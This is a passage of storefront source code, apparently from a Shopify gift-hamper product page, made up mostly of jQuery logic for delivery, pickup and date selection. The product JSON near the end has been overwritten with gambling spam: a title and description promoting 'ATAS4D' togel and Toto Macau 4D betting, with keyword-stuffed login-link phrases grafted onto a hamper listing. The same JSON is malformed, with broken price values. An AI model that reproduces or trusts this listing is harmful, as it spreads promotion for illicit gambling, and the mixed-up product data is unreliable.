12076        // $("#deliveryDate").find("button:first-child").addClass("stop")
12077        $(".form-selfpickup").show()
12078        $(".form-delivery").hide()
12079        $(".form-delivery").find("input, textarea, select").val("")
12080        $(".form-delivery").find("input, textarea, select").attr("required", false)
12081        $("#properties-shipping").val("0")
12082        $("#noteDeliveryDate").hide()
12083        $(".form-delivery .form-control").attr("required", false)
12084        $("#stepNav4").hide()
12085        
12086        $("#deliveryDate").find("button:nth-child(1)").addClass("stop")
12087        
12088        
12089        
12090          $(".calendarbutton[data-date=14]").attr("disabled", true)
12091        
12092        if(timeOfDay >= 16.01){
12093          $("#deliveryDate").find("button:nth-child(2)").addClass("stop")
12094        }
12095      } else {
12096        
12097        
12098          $(".calendarbutton[data-date=14]").attr("disabled", false)
12099        
12100        $("#deliveryDate").find("button:nth-child(1)").removeClass("stop")
12101        step3.find("[data-finished=false]").show()
12102        $("#panel-4").show()
12103        step3.find("[data-finished=true]").hide()
12104        $("#cities").attr("required", true)
12105        $(".selfpickup-point").hide()
12106        $("#form-group-city").show()
12107        $("#cities").val('').trigger('change');
12108        $("#properties-kota-pengiriman").val("-")
12109        
12110        $("#row-delivery-date, #row-delivery-time").show()
12111        $("#propDeliveryDate, #propDeliveryTime").attr("required", true)
12112        $("#deliveryDate").find("button").removeClass("stop")
12113        $(".form-selfpickup").hide()
12114        $(".form-delivery").show()
12115        $(".form-delivery").find("input, textarea, select").attr("required", true)
12116        $(".form-delivery [data-properties]").attr("readonly", false)
12117        $("#properties-kodepos").val("-")
12118        $("#properties-alamat-penerima").val("-")
12119        $(".form-delivery .form-control").attr("required", true)
12120        $(this).parents(".setup-content").attr("id", "step-1")
12121        
12122        $("#stepNav4").show()
12123      }
12124    })
12125
12126    $("[name=selfpickup]").click(function(){
12127        const p = $(this).parents(".row-pickup")
12128        const pickupCity = $("input[name='selfpickup']:checked").val();
12129        const pickupAddress = $("input[name='selfpickup']:checked").data("address");
12130        const pickupZip = $("input[name='selfpickup']:checked").data("zip");
12131
12132        $(".row-pickup").removeClass("selected")
12133        p.addClass("selected")
12134        
12135        $("#properties-kota-pengiriman").val(pickupCity)
12136        $("#province").val("Jakarta")
12137        $("#properties-alamat-penerima").val(pickupAddress)
12138        $("#properties-kodepos").val(pickupZip)
12139    })
12140
12141    $("#cities").change(function(e){
12142      e.preventDefault()
12143      $(this).parent(".row").find("p.error").remove()
12144      $("#full-date").val("Full Calendar")
12145      $("#deliveryDate, #deliveryDateFull label ").show()
12146      $("#deliveryDateFull").removeClass("filled")
12147      $(".btnChangeDeliveryDate").addClass("hide")
12148      $("#full-date").prop('disabled', false);
12149      $("#stepNav2, #stepNav3, #stepNav4").removeClass("btn-success")
12150      $("#stepNav2, #stepNav3, #stepNav4").find("a").attr("disabled", true)
12151      const step3 = $("#step-3")
12152      $("#cityNote").remove()
12153      $("#noteDeliveryDate").hide()
12154      $("#noteDeliveryDate").empty()
12155      let v = $(this).val()
12156      let v2 = $('option:selected', this).attr('data-city');
12157      let v3 = $('option:selected', this).attr('data-province');
12158      let price = $('option:selected', this).attr('data-price');
12159      
12160      $("#country").val(v)
12161      $("#properties-kota-pengiriman").val(v)
12162      $("#properties-shipping").val(price)
12163      $("#deliveryDate button, #deliveryTime button, .calendarseasonal .button").removeClass("selected")
12164      $("#properties-delivery-date, #properties-delivery-time").val("-")
12165      $("#propDeliveryDate, #propDeliveryTime").val("")
12166      let note = $('option:selected', this).attr('data-note');
12167      if(v === 'Kota Lainnya') {
12168        $("#noteDeliveryDate").show()
12169        $("#noteDeliveryDate").text("Order akan segera dikirim. Estimasi tanggal diterima akan disesuaikan dengan waktu pengiriman oleh pihak ekspedisi ke lokasi Anda.")
12170        $("#zip").attr("required", false)
12171        $("#zip").hide()
12172        $("#propDeliveryDate, #propDeliveryTime").attr("required", false)
12173        $("#propDeliveryDate, #properties-delivery-date, #propDeliveryTime, #properties-delivery-time").val("-")
12174        $("#row-delivery-date, #row-delivery-time").hide()
12175        $("#properties-shipping").val("")
12176        
12177        // Hide addressPurchase form and make all fields optional
12178        $(".addressPurchase").hide()
12179        $(".addressPurchase [required]").attr("required", false)
12180        $(".addressPurchase input, .addressPurchase textarea, .addressPurchase select").val("")
12181        $("[data-properties=nama-penerima], [data-properties=alamat-penerima], [data-properties=telepon-penerima]").val("")
12182        $("#properties-nama-penerima, #properties-alamat-penerima, #properties-telepon-penerima").val("")
12183        
12184        // $(this).parents(".setup-content").attr("id", "step-2")
12185        
12186      } else {
12187        $("#noteDeliveryDate").hide()
12188        $("#zip").attr("required", true)
12189        $("#zip").show()
12190        $("#row-delivery-date, #row-delivery-time").show()
12191        $("#propDeliveryDate, #propDeliveryTime").attr("required", true)
12192        $("#deliveryDate").find("button").removeClass("stop")
12193        
12194        // Show addressPurchase form and make fields required
12195        $(".addressPurchase").show()
12196        $(".addressPurchase .form-control").not('[data-properties="company"]').attr("required", true)
12197        $("[data-properties=nama-penerima], [data-properties=alamat-penerima], [data-properties=telepon-penerima]").attr("required", true)
12198        
12199        // $(this).parents(".setup-content").attr("id", "step-1")
12200        
12201      }
12202      
12203      
12204      
12205      
12206        $("#row-delivery-time").hide()
12207        $("#propDeliveryTime").attr("required", false)
12208      
12209      
12210      // Load delivery dates when city is selected
12211      if(v !== '' && v !== 'Kota Lainnya') {
12212        const deliveryDate = document.getElementById("deliveryDate");
12213        const deliveryTime = document.getElementById("deliveryTime");
12214        
12215        // Check localStorage first (no city needed, shared across all cities for same product)
12216        const storageKey = getStorageKey('date');
12217        const storedData = getFromStorage(storageKey);
12218        
12219        if (storedData && storedData.date && storedData.time) {
12220          // Render from localStorage immediately using helper function
12221          renderDeliveryDateFromData(storedData);
12222        } else {
12223          // Show skeleton loading state for dates
12224          if(deliveryDate) {
12225          const skeletonDates = `
12226            <button class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" disabled style="opacity: 0.6;">
12227              <div style="background: #e0e0e0; width: 30px; height: 5px; margin: 0 auto 4px; border-radius: 0px;"></div>
12228              <span style="background: #d0d0d0; display: inline-block; width: 40px; height: 40px; border-radius: 100%;"></span>
12229            </button>
12230            <button class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" disabled style="opacity: 0.6;">
12231              <div style="background: #e0e0e0; width: 30px; height: 5px; margin: 0 auto 4px; border-radius: 0px;"></div>
12232              <span style="background: #d0d0d0; display: inline-block; width: 40px; height: 40px; border-radius: 100%;"></span>
12233            </button>
12234            <button class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" disabled style="opacity: 0.6;">
12235              <div style="background: #e0e0e0; width: 30px; height: 5px; margin: 0 auto 4px; border-radius: 0px;"></div>
12236              <span style="background: #d0d0d0; display: inline-block; width: 40px; height: 40px; border-radius: 100%;"></span>
12237            </button>
12238            <button class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" disabled style="opacity: 0.6;">
12239              <div style="background: #e0e0e0; width: 30px; height: 5px; margin: 0 auto 4px; border-radius: 0px;"></div>
12240              <span style="background: #d0d0d0; display: inline-block; width: 40px; height: 40px; border-radius: 100%;"></span>
12241            </button>
12242          `;
12243          deliveryDate.innerHTML = skeletonDates;
12244        }
12245        
12246        // Show skeleton loading state for times
12247        if(deliveryTime) {
12248          const skeletonTimes = `
12249            <button class="time-single calendarbutton2 btn steps-btn" disabled style="opacity: 0.6;">
12250              <div style="background: #e0e0e0; width: 60px; height: 12px; margin: 0 auto 4px; border-radius: 4px;"></div>
12251              <div style="background: #d0d0d0; width: 80px; height: 10px; margin: 0 auto; border-radius: 4px;"></div>
12252            </button>
12253            <button class="time-single calendarbutton2 btn steps-btn" disabled style="opacity: 0.6;">
12254              <div style="background: #e0e0e0; width: 60px; height: 12px; margin: 0 auto 4px; border-radius: 4px;"></div>
12255              <div style="background: #d0d0d0; width: 80px; height: 10px; margin: 0 auto; border-radius: 4px;"></div>
12256            </button>
12257            <button class="time-single calendarbutton2 btn steps-btn" disabled style="opacity: 0.6;">
12258              <div style="background: #e0e0e0; width: 60px; height: 12px; margin: 0 auto 4px; border-radius: 4px;"></div>
12259              <div style="background: #d0d0d0; width: 80px; height: 10px; margin: 0 auto; border-radius: 4px;"></div>
12260            </button>
12261          `;
12262          deliveryTime.innerHTML = skeletonTimes;
12263        }
12264        
12265        // Load delivery dates (with city parameter)
12266        renderDate(v).then(() => {
12267          console.log('Delivery dates loaded for city:', v);
12268        }).catch(error => {
12269          console.error('Error loading delivery dates:', error);
12270          if(deliveryDate) {
12271            deliveryDate.innerHTML = '<p style="text-align: center; color: #d32f2f; font-size: 14px; padding: 20px 0;">Failed to load dates. Please try again.</p>';
12272          }
12273        });
12274        }
12275      }
12276      
12277      
12278      disabledSameDay()
12279      
12280
12281      if(v !== 'Jakarta' && v !== 'Depok' && v !== 'Bekasi' && v !== 'Tangerang') {
12282        
12283        $("[data-addon=giftcard]").show()
12284        $("[data-addon=giftcard]").click()
12285        $("#itemAddons").show()
12286        $("#flower-step").addClass("nonjadetabek")
12287      } else {
12288        $("#cardOccasion, #navAddon, .collection-addons").show()
12289        $("[data-addon]").eq(0).click()
12290        $("#flower-step").removeClass("nonjadetabek")
12291      }
12292      
12293    })
12294
12295    $("#zip").change(function(e){
12296      let v = $(this).val()
12297      var city = $("#cities").find('option:selected');
12298      $("#properties-kodepos").val(v)
12299      if(city === 'Kota Lainnya') {
12300        $(this).attr("required", true)
12301        $("#recipient-address").val("")
12302      }
12303    })
12304
12305    
12306    var minDate = new Date(2026, 0, 12)
12307    
12308
12309    // Initialize datepicker only if jQuery UI is loaded
12310    if (typeof $.fn.datepicker === 'function') {
12311      $("#full-date").datepicker({
12312        minDate,
12313        dateFormat: 'Mdd_yy', //Nop22_2021,
12314        
12315        beforeShowDay: disabledays,
12316        
12317        onSelect: function (date) {
12318          $("#deliveryDate, #deliveryDateFull label ").hide()
12319          $("#deliveryDateFull").addClass("filled")
12320          $(".btnChangeDeliveryDate").removeClass("hide")
12321        
12322        $("#full-date").prop('disabled', true);
12323        
12324        $('#propDeliveryDate, #properties-delivery-date').val('Kirim_'+date);
12325        $(".date-full").addClass("selected")
12326        $(".date-single, .calendar-group").removeClass("selected")
12327        $("#propDeliveryTime").val('')
12328        $("#properties-delivery-time").val('-')
12329        $(".time-single").removeClass("selected")
12330        
12331        const select = $('#cities option:selected').val();
12332        if(select !== 'Jakarta' && select !== 'Depok' && select !== 'Bekasi' && select !== 'Tangerang') {
12333          $("#noteDeliveryDate").show()
12334          $("#noteDeliveryDate").html(`Order akan dikirim pada tanggal ${date} dari Jakarta. Estimasi tanggal diterima akan disesuaikan dengan waktu pengiriman oleh pihak ekspedisi ke lokasi Anda.`)
12335        } else {
12336          $("#noteDeliveryDate").hide()
12337        }
12338        
12339        
12340      }
12341      });
12342    } else {
12343      // jQuery UI datepicker not loaded, show console warning
12344      console.warn('jQuery UI datepicker is not available. Make sure jQuery UI library is loaded.');
12345    }
12346
12347    $(".btnChangeDeliveryDate").click(function(){
12348        $("#deliveryDate, #deliveryDateFull label ").show()
12349        $("#deliveryDateFull").removeClass("filled")
12350        $(".btnChangeDeliveryDate").addClass("hide")
12351        $("#full-date").prop('disabled', false);
12352    })
12353  
12354    $("#deliveryDate").delegate(".calendarbutton:not(.date-full)", "click", function(e){
12355      e.preventDefault()
12356      $(this).parents("#row-delivery-date").find("p.error").remove()
12357      const fulldate = $(this).data("fulldate")
12358      const day = $(this).data("day")
12359      const date = $(this).data("date")
12360      const month = $(this).data("month")
12361      const year = $(this).data("year")
12362      const off_pagi = $(this).data("offpagi")
12363      const off_siang = $(this).data("offsiang")
12364      const off_Malam = $(this).data("offMalam")
12365      $(".calendarbutton").removeClass("selected")
12366      $(this).addClass("selected")
12367      $("#propDeliveryDate, #properties-delivery-date").val(`Kirim_${month}${date}_${year}`)
12368      $("#propDeliveryTime").val('')
12369      $("#properties-delivery-time").val('-')
12370      $(".calendarbutton2").removeClass("selected")
12371      $("#full-date").val("Full Calendar")
12372
12373      
12374      if(off_pagi && timeOfDay > off_pagi) {
12375        $("[data-time=Morning]").attr("disabled", true)
12376      } else {
12377        $("[data-time=Morning]").attr("disabled", false)
12378      }
12379      if(off_siang && timeOfDay > off_siang) {
12380        $("[data-time=Afternoon]").attr("disabled", true)
12381      } else {
12382        $("[data-time=Afternoon]").attr("disabled", false)
12383      }
12384      if(off_malam && timeOfDay > off_malam) {
12385        $("[data-time=Evening]").attr("disabled", true)
12386      } else {
12387        $("[data-time=Evening]").attr("disabled", false)
12388      }
12389      
12390
12391      
12392      const select = $('#cities option:selected').val();
12393      if(select !== 'Jakarta' && !select.match('PickUp') && select !== 'Depok' && select !== 'Bekasi' && select !== 'Tangerang' && select !== '') {
12394        $("#noteDeliveryDate").show()
12395        $("#noteDeliveryDate").html(`Order akan dikirim pada tanggal ${day}, ${date} ${month} ${year} dari Jakarta. Estimasi tanggal diterima akan disesuaikan dengan waktu pengiriman oleh pihak ekspedisi ke lokasi Anda.`)
12396      } else {
12397        $("#noteDeliveryDate").hide()
12398      }
12399      
12400    })
12401    
12402    if(today === 14 && timeOfDay > 17.00) {
12403      $("#deliveryDate button:first-child").attr("disabled", true)
12404    }
12405  
12406    $("#deliveryTime").delegate(".calendarbutton2", "click", function(e){
12407      e.preventDefault()
12408      const time = $(this).data("time")
12409      const date = $("#propDeliveryDate").val()
12410      if(date == '') {
12411        // return alert('Silakan pilih tanggal terlebih dahulu')
12412      }
12413      $(".calendarbutton2").removeClass("selected")
12414      $(this).addClass("selected")
12415      $("#propDeliveryTime, #properties-delivery-time").val(`KirimJam_${date.replace('Kirim_','')}_${time}`)
12416    })
12417      
12418    $('textarea.has-limit, input.has-limit').keyup(function () {
12419      max = this.getAttribute("maxlength");
12420      let len = $(this).val().length;
12421      let limit = $(this).siblings(".limit");
12422      if (len > max) {
12423        alert('you have reached the limit');
12424      } else {
12425        limit.text(`${len}/${max}`);
12426      }
12427    });
12428    
12429    $("#button-action-step .btn").click(function(){
12430      $(this).find("span").text("Processing...");
12431    });
12432
12433    $(".finishBtn").on('click', function() {
12434      $(this).addClass("is-adding");
12435      // $(this).click();
12436    });
12437
12438    $('.setup-panel .nav-item a.btn-success').trigger('click');
12439
12440    $("#button-action .btn").click(function(){
12441      $("#flower-step").addClass("block");
12442      $("#button-action").hide();
12443    });
12444        
12445    $(".close-how-order").click(function(){
12446      $("#flower-step").removeClass("block");
12447      $("#button-action").show();
12448    });
12449
12450    $("#input-foto, #input-video").change(function(e){
12451      readURL(this);
12452    });
12453
12454    $("#logoPapan").change(function(){
12455      readURLPapan(this);
12456    });
12457
12458    $("#address-upload").change(async function(){
12459      const upload_address = await readURLAddress(this)
12460      if(upload_address) {
12461        const url = upload_address.url
12462        $(".props-address-upload").val(url)
12463        // $(".form-address").addClass("address-uploaded")
12464        $(".form-address-upload").addClass("uploaded")
12465
12466        // $(this).parents(".form-group").siblings(".form-group").find("[required]").attr("required", false)
12467        
12468        // Hit OCR endpoint to get address options
12469        // await hitOCREndpoint(url)
12470      }
12471    })
12472
12473    $(".address-manualy").click(function(){
12474      $(".form-address-upload").removeClass("uploaded");
12475      $(".photo-address").hide();
12476      // $(".form-address").removeClass("address-uploaded")
12477      $("#formAddressPurchase").find(".form-control").not('[data-properties="company"]').attr("required", true)
12478    });
12479
12480    $(".case-video-preview").delegate(".replace-video", "click", function(){
12481      $("#input-video").trigger("click")
12482    })
12483
12484    $('.date-single').click(function(e) {
12485      e.preventDefault();
12486      $('.date-single').removeClass('selected');
12487      $('#full-date').removeClass('selected');
12488      $(this).addClass('selected');
12489      $('#full-date').html('Full' + '<br/>' + 'Calendar');
12490    });
12491    
12492    // Function to load jQuery UI if not loaded
12493    function ensureJQueryUI() {
12494      return new Promise((resolve, reject) => {
12495        if (typeof $.fn.datepicker === 'function') {
12496          resolve();
12497        } else {
12498          // Load CSS first
12499          if (!document.querySelector('link[href*="jquery-ui"]')) {
12500            const css = document.createElement('link');
12501            css.rel = 'stylesheet';
12502            css.href = 'https://code.jquery.com/ui/1.13.0/themes/base/jquery-ui.min.css';
12503            document.head.appendChild(css);
12504          }
12505          
12506          // Load JS
12507          const script = document.createElement('script');
12508          script.src = 'https://code.jquery.com/ui/1.13.0/jquery-ui.min.js';
12509          script.onload = () => {
12510            resolve();
12511          };
12512          script.onerror = () => {
12513            reject(new Error('Failed to load jQuery UI'));
12514          };
12515          document.head.appendChild(script);
12516        }
12517      });
12518    }
12519    
12520    // Force trigger datepicker on click - initialize if needed
12521    $('#full-date').on('click focus', async function(e){
12522      $('.date-single').removeClass('selected');
12523      $(this).addClass('selected');
12524      
12525      // Ensure jQuery UI is loaded
12526      try {
12527        await ensureJQueryUI();
12528      } catch(err) {
12529        alert('Calendar widget is not available. Please refresh the page.');
12530        return;
12531      }
12532      
12533      // Determine minDate
12534      
12535      var minDate = new Date(2026, 0, 12);
12536      
12537      
12538      // Helper function to initialize datepicker
12539      const initDatepicker = () => {
12540        $(this).datepicker({
12541          minDate: minDate,
12542          dateFormat: 'Mdd_yy',
12543          
12544          beforeShowDay: disabledays,
12545          
12546          onSelect: function (date) {
12547            $("#deliveryDate, #deliveryDateFull label ").hide();
12548            $("#deliveryDateFull").addClass("filled");
12549            $(".btnChangeDeliveryDate").removeClass("hide");
12550          
12551            $("#full-date").prop('disabled', true);
12552          
12553            $('#propDeliveryDate, #properties-delivery-date').val('Kirim_'+date);
12554            $(".date-full").addClass("selected");
12555            $(".date-single, .calendar-group").removeClass("selected");
12556            $("#propDeliveryTime").val('');
12557            $("#properties-delivery-time").val('-');
12558            $(".time-single").removeClass("selected");
12559          
12560            const select = $('#cities option:selected').val();
12561            if(select !== 'Jakarta' && select !== 'Depok' && select !== 'Bekasi' && select !== 'Tangerang') {
12562              $("#noteDeliveryDate").show();
12563              $("#noteDeliveryDate").html(`Order akan dikirim pada tanggal ${date} dari Jakarta. Estimasi tanggal diterima akan disesuaikan dengan waktu pengiriman oleh pihak ekspedisi ke lokasi Anda.`);
12564            } else {
12565              $("#noteDeliveryDate").hide();
12566            }
12567          
12568          
12569          }
12570        });
12571      };
12572      
12573      // If datepicker doesn't exist, initialize it
12574      if (!$(this).hasClass('hasDatepicker')) {
12575        try {
12576          initDatepicker();
12577        } catch(err) {
12578          console.error('Error initializing datepicker:', err);
12579          return;
12580        }
12581      }
12582      
12583      // Try to show datepicker
12584      try {
12585        $(this).datepicker('show');
12586      } catch(err) {
12587        // If error occurs (corrupted settings), destroy and reinitialize
12588        try {
12589          $(this).datepicker('destroy');
12590          $(this).removeClass('hasDatepicker');
12591          initDatepicker();
12592          $(this).datepicker('show');
12593        } catch(reinitErr) {
12594          // If still fails, alert user
12595          alert('Unable to open calendar. Please refresh the page.');
12596        }
12597      }
12598    });
12599    
12600    // $("tr").each(function(){
12601    //   if($(this).text().match('SKU')) {
12602    //     $(".sku-product").html($(this).parents("table").html())
12603    //   }
12604    // })
12605    
12606    $("#product-image").scroll(function(){
12607      $(".desc-add").each(function(){
12608        const img = $(this).find("img")
12609        const src = img.data("src")
12610        img.attr("src", src)
12611      })
12612    })
12613
12614    $(".product-fixed").hide()
12615    
12616    let target = $("#personalizeBtn")
12617    
12618
12619    $(".product-meta").scroll(function() {
12620        if ($(window).scrollTop() >= target.offset().top ) {
12621            $(".product-fixed").addClass("show")
12622        } else {
12623          $(".product-fixed").removeClass("show")
12624        }
12625    });
12626
12627    $(window).scroll(function() {
12628        if ($(window).scrollTop() >= target.offset().top ) {
12629            $(".product-fixed").addClass("show")
12630        } else {
12631          $(".product-fixed").removeClass("show")
12632        }
12633    });
12634    
12635    // Add event listeners to trigger card preview updates
12636    $(document).on('input change keyup', '#senderCard, #kartu-ucapan, [data-properties="ucapan"], [data-properties="kartu-nama-pengirim"]', function() {
12637      $(document).trigger('cardDataUpdated');
12638    });
12639    
12640    // Trigger card preview update when photo or video is uploaded
12641    $(document).on('photoUploaded videoUploaded', function() {
12642      $(document).trigger('cardDataUpdated');
12643    });
12644  });
12645</script>
12645
12646
12647  
12647<script>
12648    //
12649  </script>
12649
12650
12651<script>
12652  $(document).ready(function(){
12653    $('table tr td').each(function(){
12654      var texto = $(this).text();
12655      var nextto = $(this).next("td");
12656      var sku = $("#data-sku").val()
12657      if(texto == 'SKU'){
12658        nextto.text(sku)
12659      }
12660    });
12661    
12662    $(".stamped-summary-actions-newquestion").text("Tulis Pertanyaan");
12663    $(".stamped-summary-actions-newreview").text("Tulis Review");
12664    $("#tab-questions").text("Pertanyaan");
12665    
12666    $(".freeship .icon").click(function(){
12667      $(".fs-content").slideToggle();
12668      $(this).parents(".freeship").toggleClass("expand");
12669    });
12670    
12671    var $easyzoom = $('.easyzoom').easyZoom();
12672    // Setup thumbnails example
12673    var api1 = $easyzoom.filter('.easyzoom--with-thumbnails').data('easyZoom');
12674    $('.thumbnails').on('click', 'a', function(e) {
12675      var $this = $(this);
12676      e.preventDefault();
12677      // Use EasyZoom's `swap` method
12678      api1.swap($this.data('standard'), $this.attr('href'));
12679    });
12680
12681    $('#playerID').click(function(){
12682      var videoURL = $('#VdoID').attr('src'),
12683          dataplay = $('#VdoID').attr('data-play');
12684
12685      //for check autoplay
12686      //if not set autoplay=1
12687      if(dataplay == 0 ){
12688        $('#VdoID').attr('src',videoURL+'?autoplay=1');
12689        $('#VdoID').attr('data-play',1);
12690      }
12691      else{
12692        var videoURL = $('#VdoID').attr('src');
12693        videoURL = videoURL.replace("?autoplay=1", "");
12694        $('#VdoID').prop('src','');
12695        $('#VdoID').prop('src',videoURL);
12696
12697        $('#VdoID').attr('data-play',0);
12698      }
12699
12700    });
12701    
12702    $(".product-photo-thumb-video").click(function(e){
12703      e.preventDefault();
12704
12705      var newEmbed = $(this).attr('href');
12706      $("#featured-image-product").addClass("img-video");
12707      $("#ProductPhotoImg").hide();
12708      $("#featured-image-product .video").show();
12709      $("#featured-image-product iframe").attr('src', newEmbed);
12710      $("#VdoID")[0].src += "&autoplay=1";
12711    });
12712    $(".product-single__thumbnail").click(function(evt){
12713      evt.preventDefault();
12714      $("#featured-image-product").removeClass("img-video");
12715      $("#ProductPhotoImg").show();
12716      $("#featured-image-product .video").hide();
12717      $("#featured-image-product iframe").attr('src', '');
12718    });
12719    
12720    if($('#product-meta .short-desc > div').length >= 1){
12721      //console.log('div detected')
12722      var replacer = $('#product-meta .short-desc > div').contents();
12723      $('#product-meta .short-desc > div').replaceWith(replacer);
12724
12725      var cAssured =  $('.c-assured').detach();
12726      cAssured.insertAfter('.meta-sds .stock-info');
12727    }
12728
12729    
12730    const productMeta = $(".product-meta")
12731    if(productMeta.height() > 600) {
12732      $("#product-image, .product-meta").css("max-height", productMeta)
12733    }
12734    
12735    
12736    $(".heading-toggle").click(function(){
12737      $(this).parent().toggleClass("open")
12738      
12739    });
12740  });
12741</script>
12741
12742
12743
12744  
12744<script type="application/json" id="ProductJson-Product">
12745        
12746        {"id":7881418965207,"title":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap","handle":"outerbloom-mulan-bag-hampers","description":"\u003cul\u003e\n\u003cli\u003e\n\u003cstrong\u003eATAS4D\u003c\/strong\u003e\u003cbr\u003e\u003cstrong\u003e\u003c\/strong\u003e\u003cstrong\u003e\u003c\/strong\u003e\n\u003c\/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eTOTO\u003c\/strong\u003e\u003cbr\u003e\n\u003c\/li\u003e\n\u003cli\u003e\u003cstrong\u003eTOGEL\u003c\/strong\u003e\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cp\u003eATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.\u003c\/p\u003e\n\u003cp\u003e\u003cimg src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/1589\/6833\/files\/Ruby-Mulan-Bag.jpg?v=1734513286\" alt=\"\"\u003e\u003c\/p\u003e\n\u003ctable style=\"width: 100.091%;\" width=\"100%\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 33.7327%;\"\u003eSKU\u003c\/td\u003e\n\u003ctd style=\"width: 65.9908%;\"\u003e[C]ATAS4D\u003cbr\u003e[C]OBIPCL1004-CNY2026\u003cbr\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 33.7327%;\"\u003eIsi\u003c\/td\u003e\n\u003ctd style=\"width: 65.9908%;\"\u003elink login situs toto togel 4D\u003cbr\u003etoto4d resmi terpercaya 2026\u003cbr\u003ebandar toto macau gacor\u003cbr\u003esitus toto4d togel macau\u003cbr\u003etoto4d togel macau gacor\u003cbr\u003esitus toto togel macau\u003cbr\u003etoto togel 4D\u003cbr\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e","published_at":"2025-12-23T16:52:21","created_at":"2023-01-06T14:53:52","vendor":"Outerbloom Hampers","type":"Parcel Inhouse","tags":["Brand_Outerbloom Hampers","card","CNY","CNY 2026","Collection_Heritage","custom-hampers","formdate","icon-card","icon-gift","Inhouse","MonSatParcel","MonSatSiang","no-deliverytime","Parcel","Parcel CNY","Parcel Inhouse","Parcel Nusantara","Pengiriman_Bekasi","Pengiriman_Bogor","Pengiriman_Depok","Pengiriman_Jakarta","Pengiriman_Kota Lainnya","Pengiriman_Tangerang","POO Parcel","ship-paketkecil","takeoutselfpickup","Untuk_Hari Raya","uploadfotocard","upsell-inhouse"],"price":"NaN","price_min":"NaN","price_max":"NaN","price_varies":false,"compare_at_price":"NaN","compare_at_price_min":"NaN","compare_at_price_max":"NaN","compare_at_price_varies":false,"all_variant_ids":[45873023910103,45873024008407],"variants":[{"id":45873023910103,"title":"Standard","option1":"Standard","option2":null,"option3":null,"sku":"[C]ATAS4D","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap - Standard","public_title":"Standard","options":["Standard"],"price":1.349.41700,"weight":5000,"compare_at_price":73500000,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"continue","barcode":"","requires_selling_plan":false,"selling_plan_allocations":[]},{"id":45873024008407,"title":"Custom logo \u0026 photo for frame","option1":"Custom logo \u0026 photo for frame","option2":null,"option3":null,"sku":"[C]OBIPCL1004-CNY2026","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap - Custom logo \u0026 photo for frame","public_title":"Custom logo \u0026 photo for frame","options":["Custom logo \u0026 photo for frame"],"price":63500000,"weight":5000,"compare_at_price":78500000,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"continue","barcode":"","requires_selling_plan":false,"selling_plan_allocations":[]}],"available":false,"images":["\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636","\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-crunchy-jam.jpg?v=1767855108","\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-berry-affair.jpg?v=1767855108","\/\/outerbloom.com\/cdn\/shop\/files\/madu_c5806a73-3334-4300-bbe4-c59939ac5270.jpg?v=1768357765","\/\/outerbloom.com\/cdn\/shop\/files\/serenitea_ab87e31e-f6d7-4ee1-97ee-9709a9b861f5.jpg?v=1768357765","\/\/outerbloom.com\/cdn\/shop\/files\/diffuser-woody-breeze.jpg?v=1767855083","\/\/outerbloom.com\/cdn\/shop\/files\/frame_b97b5afe-8c12-44e0-a70b-628c49f1c7ac.jpg?v=1767855108"],"featured_image":"\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636","options":["Variants"],"url":"\/products\/outerbloom-mulan-bag-hampers"}
12747  </script>
12747
12748  
12749    
12749<script type="application/json" id="VariantJson-Product">
12750      [
12751        
12752          {
12753             "incoming": false,
12754             "next_incoming_date": null
12755          },
12756        
12757          {
12758             "incoming": false,
12759             "next_incoming_date": null
12760          }
12761        
12762      ]
12763    </script>
12763
12764  
12765
12766
12767
12768</div>
12769
12770
12771<script src="https://outerbloom.com/cdn/shopifycloud/storefront/assets/themes_support/option_selection-b017cd28.js" type="text/javascript"></script>
12771
12772<style>
12773    .stamped-review-header-title,
12774    .stamped-review-header .author,
12775    .stamped-review-content-body,
12776    .stamped-sort-select,
12777    .stamped-review-header .verified-badge[data-type=buyer]:after,
12778    .stamped-review-header-byline,
12779    .stamped-review-reply-body {font-size: 14px!important;font-family: 'Barlow',sans-serif!important;}
12780    .stamped-review {margin-bottom: 0;}
12781    .stamped-review-body {padding-left: 65px;}
12782    .stamped-review:first-child {padding-top: 25px;}
12783    .stamped-review-content {clear: none;}
12784    .stamped-review-reply {margin: 15px 0 0 65px;background: #f2f2f2;border-left: none;}
12785    .stamped-review-reply-body {padding-left: 65px;}
12786    .stamped-review-header .author {text-transform: capitalize;}
12787    .stamped-questions .stamped-review-content {padding-left: 65px;}
12788
12789    .stamped-pagination {margin: 20px 0 0;}
12790    .stamped-pagination li {position: initial!important;display: inline-block;position: relative;vertical-align: middle;text-decoration: none;-webkit-tap-highlight-color: transparent;-webkit-box-flex: 0;-moz-box-flex: 0;-ms-flex: 0 0 auto;flex: 0 0 auto;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background: 0 0;text-transform: none;color: #33373D;font-weight: 400;-webkit-transition: background .1s ease,box-shadow .1s ease,color .1s ease;transition: background .1s ease,box-shadow .1s ease,color .1s ease;border: 1px solid #ccc;border-right: none;margin-bottom: 0;}
12791    .stamped-pagination li a {color: #121212;padding: 13px 18px;vertical-align: middle;display: block;}
